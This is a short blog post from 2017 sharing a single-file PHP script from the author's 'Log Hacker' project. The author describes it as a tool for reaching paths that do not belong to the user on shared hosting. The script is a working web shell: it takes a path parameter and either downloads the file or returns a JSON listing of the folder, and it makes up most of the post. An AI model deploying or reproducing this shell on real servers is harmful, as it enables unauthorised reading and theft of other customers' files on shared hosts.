Php Shell kind of thing wich belong to another hackerish tool

2017 09 08 06 23 16

its part of my “Log Hacker” project. i planned to share it from github but. i didnt have time to open a new account for this.

 

anyway. this single file php script basically take “path of something wich its not belong to you” parameters on shared hostings and if that parameter is a file, you will start downloading it if its not, then you will get json array of content of that folder.

 

<?php
if (!isset($_GET['f']))
AccessDenied();

function NotFound()
{
header("HTTP/1.1 404 Not Foud");
echo "HTTP/1.1 404 Not Foud";
exit;
}
function AccessDenied()
{
header('HTTP/1.1 403 Forbidden');
echo "HTTP/1.1 403 Forbidden";
exit;
}
function Unauthorized()
{
header('HTTP/1.1 401 Unauthorized');
echo "HTTP/1.1 403 Forbidden";
exit;
}
function RespondFile($f)
{
header("Cache-Control: public");
header("Content-Description: File Transfer");
header("Content-Disposition: attachment; filename=$f");
header("Content-Type: application/zip");
header("Content-Transfer-Encoding: binary");
readfile($f);
exit;
}
function PrintJsonObject($f)
{
global $list;
$kind = 'folder';
if(is_file($f)) {$fs=filesize($f);$kind='folder';}
array_push($list, array('name' => $f,'kind'=> $kind ,'size' => $fs,'is_readable' =>is_readable($f),'is_link'=>is_link($f)));
}

$file = $_GET['f'];
if(!$file){NotFound();}
if(!is_readable($file)){Unauthorized();}
if(is_file($file)) RespondFile($file);
if(!$dh=opendir($file))AccessDenied();

$list = array();
header('Content-Type: application/json');
while(($dircontent = readdir($dh)) != false)
{
if($dircontent != "." and $dircontent != "..")
PrintJsonObject($dircontent);
}
echo json_encode(array('contains'=> $list));

 

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir